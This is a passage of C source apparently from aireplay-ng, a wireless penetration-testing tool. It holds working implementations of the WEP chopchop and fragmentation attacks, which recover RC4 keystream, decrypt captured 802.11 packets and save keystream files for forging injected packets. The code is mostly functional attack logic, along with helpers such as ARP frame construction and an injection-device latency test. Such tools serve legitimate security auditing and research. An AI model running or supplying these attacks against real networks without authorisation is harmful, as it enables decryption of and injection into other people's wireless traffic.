					   "discard frames with an\ninvalid ICV - try running "
					   "aireplay-ng in non-authenticated mode instead.\n\n");
				free(chopped);
				return (1);
			}
		}

		/* we have a winner */

		guess = h80211[9];

		chopped[data_end - 1] ^= guess;
		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];

		n = caplen - data_start;

		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
			   "%4lu frames written in %5.0fms\n",
			   data_end - 1,
			   100 * (caplen - data_end) / n,
			   chopped[data_end - 1],
			   chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
			   nb_pkt_sent,
			   ticks[3]);

		if (is_deauth_mode)
		{
			opt.r_smac[1] = rand_u8() & 0x3E;
			opt.r_smac[2] = rand_u8();
			opt.r_smac[3] = rand_u8();
			opt.r_smac[4] = rand_u8();
		}
		else
		{
			opt.r_dmac[1] = rand_u8() & 0xFE;
			opt.r_dmac[2] = rand_u8();
			opt.r_dmac[3] = rand_u8();
			opt.r_dmac[4] = rand_u8();
		}

		ticks[3] = 0;
		nb_pkt_sent = 0;
		nb_bad_pkt = 0;
		guess = 256;

		data_end--;

		alarm(0);
	}

	/* reveal the plaintext (chopped contains the prga) */

	memcpy(h80211, srcbuf, caplen);

	z = ((h80211[1] & 3) != 3) ? 24 : 30;
	if ((h80211[0] & 0x80) == 0x80) /* QoS */
		z += 2;
	diff = z - 24;

	chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
	chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
	chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
	chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
	chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
	chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;

	for (i = z + 4; i < (int) caplen; i++)
		h80211[i - 4] = h80211[i] ^ chopped[i - diff];

	if (!check_crc_buf(h80211 + z, caplen - z - 8))
	{
		if (!tried_header_rec)
		{
			printf("\nWarning: ICV checksum verification FAILED! Trying "
				   "workaround.\n");
			tried_header_rec = 1;
			goto header_rec;
		}
		else
		{
			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
				   "likely invalid/useless\nTry another one.\n");
		}
	}

	caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */

	h80211[1] &= 0xBF; /* remove the WEP bit, too */

	/* save the decrypted packet */

	gettimeofday(&tv, NULL);

	pfh_out.magic = TCPDUMP_MAGIC;
	pfh_out.version_major = PCAP_VERSION_MAJOR;
	pfh_out.version_minor = PCAP_VERSION_MINOR;
	pfh_out.thiszone = 0;
	pfh_out.sigfigs = 0;
	pfh_out.snaplen = 65535;
	pfh_out.linktype = LINKTYPE_IEEE802_11;

	pkh.tv_sec = tv.tv_sec;
	pkh.tv_usec = tv.tv_usec;
	pkh.caplen = caplen;
	pkh.len = caplen;

	lt = localtime((const time_t *) &tv.tv_sec);
	REQUIRE(lt != NULL);

	memset(strbuf, 0, sizeof(strbuf));
	snprintf(strbuf,
			 sizeof(strbuf) - 1,
			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
			 lt->tm_mon + 1,
			 lt->tm_mday,
			 lt->tm_hour,
			 lt->tm_min,
			 lt->tm_sec);

	printf("\nSaving plaintext in %s\n", strbuf);

	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
	{
		perror("fopen failed");
		free(chopped);
		return (1);
	}

	n = sizeof(struct pcap_file_header);

	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed\n");
		free(chopped);
		fclose(f_cap_out);
		return (1);
	}

	n = sizeof(pkh);

	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed");
		free(chopped);
		fclose(f_cap_out);
		return (1);
	}

	n = pkh.caplen;

	if (fwrite(h80211, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed");
		free(chopped);
		fclose(f_cap_out);
		return (1);
	}

	fclose(f_cap_out);

	/* save the RC4 stream (xor mask) */

	memset(strbuf, 0, sizeof(strbuf));
	snprintf(strbuf,
			 sizeof(strbuf) - 1,
			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
			 lt->tm_mon + 1,
			 lt->tm_mday,
			 lt->tm_hour,
			 lt->tm_min,
			 lt->tm_sec);

	printf("Saving keystream in %s\n", strbuf);

	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
	{
		perror("fopen failed");
		free(chopped);
		return (1);
	}

	n = pkh.caplen + 8 - 24;

	if (fwrite(chopped + 24, n, 1, f_cap_out) != 1)
	{
		perror("fwrite failed");
		free(chopped);
		fclose(f_cap_out);
		return (1);
	}

	free(chopped);
	fclose(f_cap_out);

	float const delta_tt = (float) (time(NULL) - tt);
	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
		   (long) delta_tt,
		   (fabsf(delta_tt) >= __FLT_EPSILON__
				? (float) ((pkh.caplen - 6 - 24) / delta_tt)
				: 0.f));

	return (0);
}

static int make_arp_request(unsigned char * h80211,
							unsigned char * bssid,
							unsigned char * src_mac,
							unsigned char * dst_mac,
							unsigned char * src_ip,
							unsigned char * dst_ip,
							int size)
{
	unsigned char * arp_header
		= (unsigned char *) "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00"
							"\x06"
							"\x04\x00\x01";
	unsigned char * header80211 = (unsigned char *) "\x08\x41\x95\x00";

	// 802.11 part
	memcpy(h80211, header80211, 4);
	memcpy(h80211 + 4, bssid, 6);
	memcpy(h80211 + 10, src_mac, 6);
	memcpy(h80211 + 16, dst_mac, 6);
	h80211[22] = '\x00';
	h80211[23] = '\x00';

	// ARP part
	memcpy(h80211 + 24, arp_header, 16);
	memcpy(h80211 + 40, src_mac, 6);
	memcpy(h80211 + 46, src_ip, 4);
	memset(h80211 + 50, '\x00', 6);
	memcpy(h80211 + 56, dst_ip, 4);

	// Insert padding bytes
	memset(h80211 + 60, '\x00', size - 60);

	return 0;
}

static void save_prga(char * filename,
					  unsigned char * iv,
					  unsigned char * prga,
					  int prgalen)
{
	FILE * xorfile;
	xorfile = fopen(filename, "wb");
	if (xorfile)
	{
		if (fwrite(iv, 1, 4, xorfile) > 0)
		{
			(void) fwrite(prga, 1, prgalen, xorfile);
		}
		fclose(xorfile);
	}
}

static int do_attack_fragment(void)
{
	unsigned char packet[4096];
	unsigned char packet2[4096];
	unsigned char prga[4096];
	unsigned char iv[4];

	//    unsigned char ack[14] = "\xd4";

	char strbuf[256];

	struct tm * lt;
	struct timeval tv, tv2;

	int done;
	int caplen;
	int caplen2;
	int arplen;
	int round;
	int prga_len;
	int isrelay;
	int again;
	int length;
	int ret;
	int gotit;
	int acksgot;
	int packets;
	int z;

	unsigned char * snap_header
		= (unsigned char *) "\xAA\xAA\x03\x00\x00\x00\x08\x00";

	done = caplen = caplen2 = arplen = round = 0;
	prga_len = isrelay = gotit = again = length = 0;

	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
	{
		printf("Please specify a source MAC (-h).\n");
		return (1);
	}

	if (getnet(_wi_in,
			   NULL,
			   1,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
	{
		memset(opt.r_dmac, '\xFF', 6);
		opt.r_dmac[5] = 0xED;
	}

	if (memcmp(opt.r_sip, NULL_MAC, 4) == 0)
	{
		memset(opt.r_sip, '\xFF', 4);
	}

	if (memcmp(opt.r_dip, NULL_MAC, 4) == 0)
	{
		memset(opt.r_dip, '\xFF', 4);
	}

	PCT;
	printf("Waiting for a data packet...\n");

	while (!done) //
	{
		round = 0;

		if (capture_ask_packet(&caplen, 0) != 0) return -1;

		z = ((h80211[1] & 3) != 3) ? 24 : 30;
		if ((h80211[0] & 0x80) == 0x80) /* QoS */
			z += 2;

		if ((unsigned) caplen > sizeof(packet)
			|| (unsigned) caplen > sizeof(packet2))
			continue;

		memcpy(packet2, h80211, caplen);
		caplen2 = caplen;
		PCT;
		printf("Data packet found!\n");

		if (memcmp(packet2 + 4, SPANTREE, 6) == 0
			|| memcmp(packet2 + 16, SPANTREE, 6) == 0)
		{
			packet2[z + 4]
				= ((packet2[z + 4] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
			packet2[z + 5]
				= ((packet2[z + 5] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
			packet2[z + 10]
				= ((packet2[z + 10] ^ 0x00) ^ 0x08); // 0x00 instead of 0x08
		}

		prga_len = 7;

		again = RETRY;

		memcpy(packet, packet2, caplen2);
		caplen = caplen2; //-V1048
		memcpy(prga, packet + z + 4, prga_len); //-V512
		memcpy(iv, packet + z, 4);

		xor_keystream(prga, snap_header, prga_len);

		while (again == RETRY) // sending 7byte fragments
		{
			again = 0;

			arplen = 60;
			make_arp_request(h80211,
							 opt.f_bssid,
							 opt.r_smac,
							 opt.r_dmac,
							 opt.r_sip,
							 opt.r_dip,
							 arplen);

			if ((round % 2) == 1)
			{
				PCT;
				printf("Trying a LLC NULL packet\n");
				memset(h80211 + 24, '\x00', 39);
				arplen = 63;
			}

			acksgot = 0;
			packets = (arplen - 24) / (prga_len - 4);
			if ((arplen - 24) % (prga_len - 4) != 0) packets++;

			PCT;
			printf("Sending fragmented packet\n");
			send_fragments(h80211, arplen, iv, prga, prga_len - 4, 0);
			//            //Plus an ACK
			//            send_packet(ack, 10);

			gettimeofday(&tv, NULL);

			while (!gotit) // waiting for relayed packet
			{
				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
				if (caplen < 0 && errno == EINTR)
					continue;
				else if (caplen < 0)
					break;

				z = ((packet[1] & 3) != 3) ? 24 : 30;
				if ((packet[0] & 0x80) == 0x80) /* QoS */
					z += 2;

				if (packet[0] == 0xD4)
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
					{
						acksgot++;
						printf(
							"Got ACK (%d) (packets %d).\n", acksgot, packets);
					}
					continue;
				}

				if ((packet[0] & 0x08)
					&& ((packet[1] & 0x40)
						== 0x40)) // Is data frame && encrypted
				{
					if ((packet[1] & 2)) // Is a FromDS packet
					{
						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
						{
							if (!memcmp(
									opt.r_smac, packet + 16, 6)) // From our MAC
							{
								if (caplen - z < 66) // Is short enough
								{
									// This is our relayed packet!
									PCT;
									printf("Got RELAYED packet!!\n");
									gotit = 1;
									isrelay = 1;
								}
							}
						}
					}
				}

				/* check if we got an deauthentication packet */

				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a deauthentication packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				/* check if we got an disassociation packet */

				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a disassociation packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				gettimeofday(&tv2, NULL);
				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					 + (tv2.tv_usec - tv.tv_usec))
						> (100 * 1000)
					&& acksgot > 0
					&& acksgot < packets) // wait 100ms for acks
				{
					PCT;
					printf("Not enough acks, repeating...\n");
					again = RETRY;
					break;
				}

				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					 + (tv2.tv_usec - tv.tv_usec))
						> (1500 * 1000)
					&& !gotit) // wait 1500ms for an answer
				{
					PCT;
					printf("No answer, repeating...\n");
					round++;
					again = RETRY;
					if (round > 10)
					{
						PCT;
						printf("Still nothing, trying another packet...\n");
						again = NEW_IV;
					}
					break;
				}
			}
		}

		if (again == NEW_IV) continue;

		make_arp_request(h80211,
						 opt.f_bssid,
						 opt.r_smac,
						 opt.r_dmac,
						 opt.r_sip,
						 opt.r_dip,
						 60);
		if (caplen - z == 68 - 24)
		{
			// That's the ARP packet!
			//             PCT; printf("That's our ARP packet!\n");
		}
		if (caplen - z == 71 - 24)
		{
			// That's the LLC NULL packet!
			//             PCT; printf("That's our LLC Null packet!\n");
			memset(h80211 + 24, '\x00', 39);
		}

		if (!isrelay)
		{
			// Building expected cleartext
			unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01"
									 "\x08\x00\x06\x04\x00\x02";
			// Ethernet & ARP header

			// Followed by the senders MAC and IP:
			memcpy(ct + 16, packet + 16, 6);
			memcpy(ct + 22, opt.r_dip, 4);

			// And our own MAC and IP:
			memcpy(ct + 26, opt.r_smac, 6);
			memcpy(ct + 32, opt.r_sip, 4);

			// Calculating
			memcpy(prga, packet + z + 4, 36); //-V512
			xor_keystream(prga, ct, 36);
		}
		else
		{
			memcpy(prga, packet + z + 4, 36); //-V512
			xor_keystream(prga, h80211 + 24, 36);
		}

		memcpy(iv, packet + z, 4);
		round = 0;
		again = RETRY;
		while (again == RETRY)
		{
			again = 0;

			PCT;
			printf("Trying to get 384 bytes of a keystream\n");

			arplen = 408;

			make_arp_request(h80211,
							 opt.f_bssid,
							 opt.r_smac,
							 opt.r_dmac,
							 opt.r_sip,
							 opt.r_dip,
							 arplen);
			if ((round % 2) == 1)
			{
				PCT;
				printf("Trying a LLC NULL packet\n");
				memset(h80211 + 24, '\x00', arplen + 8);
				arplen += 32;
			}

			acksgot = 0;
			packets = (arplen - 24) / (32);
			if ((arplen - 24) % (32) != 0) packets++;

			send_fragments(h80211, arplen, iv, prga, 32, 0);
			//            //Plus an ACK
			//            send_packet(ack, 10);

			gettimeofday(&tv, NULL);

			gotit = 0;
			while (!gotit) // waiting for relayed packet
			{
				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
				if (caplen < 0 && errno == EINTR)
					continue;
				else if (caplen < 0)
					break;

				z = ((packet[1] & 3) != 3) ? 24 : 30;
				if ((packet[0] & 0x80) == 0x80) /* QoS */
					z += 2;

				if (packet[0] == 0xD4)
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
						acksgot++;
					continue;
				}

				if ((packet[0] & 0x08)
					&& ((packet[1] & 0x40)
						== 0x40)) // Is data frame && encrypted
				{
					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
					{
						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
						{
							if (!memcmp(
									opt.r_smac, packet + 16, 6)) // From our MAC
							{
								if (caplen - z > 400 - 24
									&& caplen - z < 500 - 24) // Is short enough
								{
									// This is our relayed packet!
									PCT;
									printf("Got RELAYED packet!!\n");
									gotit = 1;
									isrelay = 1;
								}
							}
						}
					}
				}

				/* check if we got an deauthentication packet */

				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a deauthentication packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				/* check if we got an disassociation packet */

				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a disassociation packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				gettimeofday(&tv2, NULL);
				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					 + (tv2.tv_usec - tv.tv_usec))
						> (100 * 1000)
					&& acksgot > 0
					&& acksgot < packets) // wait 100ms for acks
				{
					PCT;
					printf("Not enough acks, repeating...\n");
					again = RETRY;
					break;
				}

				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					 + (tv2.tv_usec - tv.tv_usec))
						> (1500 * 1000)
					&& !gotit) // wait 1500ms for an answer
				{
					PCT;
					printf("No answer, repeating...\n");
					round++;
					again = RETRY;
					if (round > 10)
					{
						PCT;
						printf("Still nothing, trying another packet...\n");
						again = NEW_IV;
					}
					break;
				}
			}
		}

		if (again == NEW_IV) continue;

		make_arp_request(h80211,
						 opt.f_bssid,
						 opt.r_smac,
						 opt.r_dmac,
						 opt.r_sip,
						 opt.r_dip,
						 408);
		if (caplen - z == 416 - 24)
		{
			// That's the ARP packet!
			//             PCT; printf("That's our ARP packet!\n");
		}
		if (caplen - z == 448 - 24)
		{
			// That's the LLC NULL packet!
			//             PCT; printf("That's our LLC Null packet!\n");
			memset(h80211 + 24, '\x00', 416);
		}

		memcpy(iv, packet + z, 4);
		memcpy(prga, packet + z + 4, 384); //-V512
		xor_keystream(prga, h80211 + 24, 384);

		round = 0;
		again = RETRY;
		while (again == RETRY)
		{
			again = 0;

			PCT;
			printf("Trying to get 1500 bytes of a keystream\n");

			make_arp_request(h80211,
							 opt.f_bssid,
							 opt.r_smac,
							 opt.r_dmac,
							 opt.r_sip,
							 opt.r_dip,
							 1500);
			arplen = 1500;
			if ((round % 2) == 1)
			{
				PCT;
				printf("Trying a LLC NULL packet\n");
				memset(h80211 + 24, '\x00', 1508);
				arplen += 32;
			}

			acksgot = 0;
			packets = (arplen - 24) / (300);
			if ((arplen - 24) % (300) != 0) packets++;

			send_fragments(h80211, arplen, iv, prga, 300, 0);
			//            //Plus an ACK
			//            send_packet(ack, 10);

			gettimeofday(&tv, NULL);

			gotit = 0;
			while (!gotit) // waiting for relayed packet
			{
				caplen = read_packet(_wi_in, packet, sizeof(packet), NULL);
				if (caplen < 0 && errno == EINTR)
					continue;
				else if (caplen < 0)
					break;

				z = ((packet[1] & 3) != 3) ? 24 : 30;
				if ((packet[0] & 0x80) == 0x80) /* QoS */
					z += 2;

				if (packet[0] == 0xD4)
				{
					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
						acksgot++;
					continue;
				}

				if ((packet[0] & 0x08)
					&& ((packet[1] & 0x40)
						== 0x40)) // Is data frame && encrypted
				{
					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
					{
						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
						{
							if (!memcmp(
									opt.r_smac, packet + 16, 6)) // From our MAC
							{
								if (caplen - z > 1496 - 24) // Is short enough
								{
									// This is our relayed packet!
									PCT;
									printf("Got RELAYED packet!!\n");
									gotit = 1;
									isrelay = 1;
								}
							}
						}
					}
				}

				/* check if we got an deauthentication packet */

				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a deauthentication packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				/* check if we got an disassociation packet */

				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
				{
					PCT;
					printf("Got a disassociation packet!\n");
					read_sleep(
						dev.fd_in,
						5 * 1000000,
						my_read_sleep_cb); // sleep 5 seconds and ignore all
					// frames in this period
				}

				gettimeofday(&tv2, NULL);
				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
					 + (tv2.tv_usec - tv.tv_usec))
						> (100 * 1000)
					&& acksgot > 0
					&& acksgot < packets) // wait 100ms for acks
				{
					PCT;
					printf("Not enough acks, repeating...\n");
					again = RETRY;
					break;
				}

				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
					 + (tv2.tv_usec - tv.tv_usec))
						> (1500 * 1000)
					&& !gotit) // wait 1500ms for an answer
				{
					PCT;
					printf("No answer, repeating...\n");
					round++;
					again = RETRY;
					if (round > 10)
					{
						printf(
							"Still nothing, quitting with 384 bytes? [y/n] \n");
						fflush(stdout);
						ret = 0;
						while (!ret) ret = scanf("%1s", (char *) tmpbuf);

						printf("\n");

						if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y')
							again = ABORT;
						else
							again = NEW_IV;
					}
					break;
				}
			}
		}

		if (again == NEW_IV) continue;

		if (again == ABORT)
			length = 408;
		else
			length = 1500;

		make_arp_request(h80211,
						 opt.f_bssid,
						 opt.r_smac,
						 opt.r_dmac,
						 opt.r_sip,
						 opt.r_dip,
						 length);
		if (caplen == length + 8 + z)
		{
			// That's the ARP packet!
			//             PCT; printf("That's our ARP packet!\n");
		}
		if (caplen == length + 16 + z)
		{
			// That's the LLC NULL packet!
			//             PCT; printf("That's our LLC Null packet!\n");
			memset(h80211 + 24, '\x00', length + 8);
		}

		if (again != ABORT)
		{
			memcpy(iv, packet + z, 4);
			memcpy(prga, packet + z + 4, length);
			xor_keystream(prga, h80211 + 24, length);
		}

		lt = localtime((const time_t *) &tv.tv_sec);
		REQUIRE(lt != NULL);

		memset(strbuf, 0, sizeof(strbuf));
		snprintf(strbuf,
				 sizeof(strbuf) - 1,
				 "fragment-%02d%02d-%02d%02d%02d.xor",
				 lt->tm_mon + 1,
				 lt->tm_mday,
				 lt->tm_hour,
				 lt->tm_min,
				 lt->tm_sec);
		save_prga(strbuf, iv, prga, length);

		printf("Saving keystream in %s\n", strbuf);
		printf("Now you can build a packet with packetforge-ng out of that %d "
			   "bytes keystream\n",
			   length);

		done = 1;
	}

	return (0);
}

static int grab_essid(unsigned char * packet, int len)
{
	int i = 0, j = 0, pos = 0, tagtype = 0, taglen = 0, chan = 0;
	unsigned char bssid[6];

	memcpy(bssid, packet + 16, 6);
	taglen = 22; // initial value to get the fixed tags parsing started
	taglen += 12; // skip fixed tags in frames
	do
	{
		pos += taglen + 2;
		tagtype = packet[pos];
		taglen = packet[pos + 1];
	} while (tagtype != 3 && pos < len - 2);

	if (tagtype != 3) return -1;
	if (taglen != 1) return -1;
	if (pos + 2 + taglen > len) return -1;

	chan = packet[pos + 2];

	pos = 0;

	taglen = 22; // initial value to get the fixed tags parsing started
	taglen += 12; // skip fixed tags in frames
	do
	{
		pos += taglen + 2;
		tagtype = packet[pos];
		taglen = packet[pos + 1];
	} while (tagtype != 0 && pos < len - 2);

	if (tagtype != 0) return -1;
	if (taglen > 250) taglen = 250;
	if (pos + 2 + taglen > len) return -1;

	for (i = 0; i < MAX_APS; i++)
	{
		if (ap[i].set)
		{
			if (memcmp(bssid, ap[i].bssid, 6) == 0) // got it already
			{
				if (packet[0] == 0x50 && !ap[i].found)
				{
					ap[i].found++;
				}
				if (ap[i].chan == 0) ap[i].chan = chan;
				break;
			}
		}
		if (ap[i].set == 0)
		{
			for (j = 0; j < taglen; j++)
			{
				if (packet[pos + 2 + j] < 32 || packet[pos + 2 + j] > 127)
				{
					return -1;
				}
			}

			ap[i].set = 1;
			ap[i].len = taglen;
			memcpy(ap[i].essid, packet + pos + 2, taglen);
			ap[i].essid[taglen] = '\0';
			memcpy(ap[i].bssid, bssid, 6);
			ap[i].chan = chan;
			if (packet[0] == 0x50) ap[i].found++;
			return 0;
		}
	}
	return -1;
}

struct net_hdr
{
	uint8_t nh_type;
	uint32_t nh_len;
	uint8_t nh_data[];
} __packed;

static int tcp_test(const char * ip_str, const short port)
{
	int sock, i;
	struct sockaddr_in s_in;
	int packetsize = 1024;
	unsigned char packet[packetsize];
	struct timeval tv, tv2 = {0}, tv3;
	int caplen = 0;
	int times[REQUESTS] = {0};
	int min, avg, max, len;
	struct net_hdr nh;

	tv3.tv_sec = 0;
	tv3.tv_usec = 1;

	memset(&s_in, 0, sizeof(struct sockaddr_in));
	s_in.sin_family = PF_INET;
	s_in.sin_port = htons(port);
	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;

	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
		return -1;

	/* avoid blocking on reading the socket */
	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
	{
		perror("fcntl(O_NONBLOCK) failed");
		close(sock);
		return (1);
	}

	gettimeofday(&tv, NULL);

	while (1) // waiting for relayed packet
	{
		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
		{
			if (errno != EINPROGRESS && errno != EALREADY)
			{
				perror("connect");
				close(sock);

				printf("Failed to connect\n");

				return -1;
			}
		}
		else
		{
			gettimeofday(&tv2, NULL);
			break;
		}

		gettimeofday(&tv2, NULL);
		// wait 3000ms for a successful connect
		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
			 + (tv2.tv_usec - tv.tv_usec))
			> (3000 * 1000))
		{
			printf("Connection timed out\n");
			close(sock);
			return (-1);
		}
		usleep(10);
	}

	PCT;
	printf("TCP connection successful\n");

	// trying to identify airserv-ng
	memset(&nh, 0, sizeof(nh));
	//     command: GET_CHAN
	nh.nh_type = 2;
	nh.nh_len = htonl(0);

	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
	{
		perror("send");
		close(sock);
		return -1;
	}

	gettimeofday(&tv, NULL);
	i = 0;

	while (1) // waiting for GET_CHAN answer
	{
		caplen = read(sock, &nh, sizeof(nh));

		if (caplen == -1)
		{
			if (errno != EAGAIN)
			{
				perror("read");
				close(sock);
				return -1;
			}
		}

		if (caplen > 0 && (unsigned) caplen == sizeof(nh))
		{
			len = ntohl(nh.nh_len);
			if (len <= packetsize && len > 0)
			{
				if (nh.nh_type == 1 && i == 0)
				{
					i = 1;
					caplen = read(sock, packet, len);
					if (caplen == len)
					{
						i = 2;
						break;
					}
					else
					{
						i = 0;
					}
				}
				else
				{
					caplen = read(sock, packet, len);
				}
			}
		}

		gettimeofday(&tv2, NULL);
		// wait 1000ms for an answer
		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
			 + (tv2.tv_usec - tv.tv_usec))
			> (1000 * 1000))
		{
			break;
		}
		if (caplen == -1) usleep(10);
	}

	if (i == 2)
	{
		PCT;
		printf("airserv-ng found\n");
	}
	else
	{
		PCT;
		printf("airserv-ng NOT found\n");
	}

	close(sock);

	for (i = 0; i < REQUESTS; i++)
	{
		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
			return -1;

		/* avoid blocking on reading the socket */
		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			close(sock);
			return (1);
		}

		usleep(1000);

		gettimeofday(&tv, NULL);

		while (1) // waiting for relayed packet
		{
			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
			{
				if (errno != EINPROGRESS && errno != EALREADY)
				{
					perror("connect");
					close(sock);

					printf("Failed to connect\n");

					return -1;
				}
			}
			else
			{
				gettimeofday(&tv2, NULL);
				break;
			}

			gettimeofday(&tv2, NULL);
			// wait 1000ms for a successful connect
			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
				 + (tv2.tv_usec - tv.tv_usec))
				> (1000 * 1000))
			{
				break;
			}
			// simple "high-precision" usleep
			select(1, NULL, NULL, NULL, &tv3);
		}
		times[i] = ((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
					+ (tv2.tv_usec - tv.tv_usec));
		printf("\r%d/%d\r", i, REQUESTS);
		fflush(stdout);
		close(sock);
	}

	min = INT_MAX;
	avg = 0;
	max = 0;

	for (i = 0; i < REQUESTS; i++)
	{
		if (times[i] < min) min = times[i];
		if (times[i] > max) max = times[i];
		avg += times[i];
	}
	avg /= REQUESTS;

	PCT;
	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
		   ip_str,
		   port,
		   min / 1000.0f,
		   avg / 1000.0f,
		   max / 1000.0f);

	return 0;
}

static int do_attack_test(void)
{
	unsigned char packet[4096];
	struct timeval tv, tv2, tv3;
	int len = 0, j = 0, k = 0;
	int gotit = 0, answers = 0;
	int caplen = 0, essidlen = 0;
	unsigned int min, avg, max, i = 0, found = 0;
	int ret = 0;
	float avg2;
	struct rx_info ri;
	unsigned long atime = 200; // time in ms to wait for answer packet (needs to
	// be higher for airserv)
	unsigned char nulldata[1024];

	if (opt.port_out > 0)
	{
		atime += 200;
		PCT;
		printf("Testing connection to injection device %s\n", opt.iface_out);
		ret = tcp_test(opt.ip_out, opt.port_out);
		if (ret != 0)
		{
			return (1);
		}
		printf("\n");

		/* open the replay interface */
		_wi_out = wi_open(opt.iface_out);
		if (!_wi_out) return 1;
		printf("\n");
		dev.fd_out = wi_fd(_wi_out);
		wi_get_mac(_wi_out, dev.mac_out);
		if (opt.s_face == NULL)
		{
			_wi_in = _wi_out;
			dev.fd_in = dev.fd_out;

			/* XXX */
			dev.arptype_in = dev.arptype_out;
			wi_get_mac(_wi_in, dev.mac_in);
		}
	}

	if (opt.s_face && opt.port_in > 0)
	{
		atime += 200;
		PCT;
		printf("Testing connection to capture device %s\n", opt.s_face);
		ret = tcp_test(opt.ip_in, opt.port_in);
		if (ret != 0)
		{
			return (1);
		}
		printf("\n");

		/* open the packet source */
		_wi_in = wi_open(opt.s_face);
		if (!_wi_in) return 1;
		dev.fd_in = wi_fd(_wi_in);
		wi_get_mac(_wi_in, dev.mac_in);
		printf("\n");
	}
	else if (opt.s_face && opt.port_in <= 0)
	{
		_wi_in = wi_open(opt.s_face);
		if (!_wi_in) return 1;
		dev.fd_in = wi_fd(_wi_in);
		wi_get_mac(_wi_in, dev.mac_in);
		printf("\n");
	}

	if (opt.port_in <= 0)
	{
		/* avoid blocking on reading the socket */
		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			return (1);
		}
	}

	if (getnet(_wi_in,
			   NULL,
			   0,
			   0,
			   opt.f_bssid,
			   opt.r_bssid,
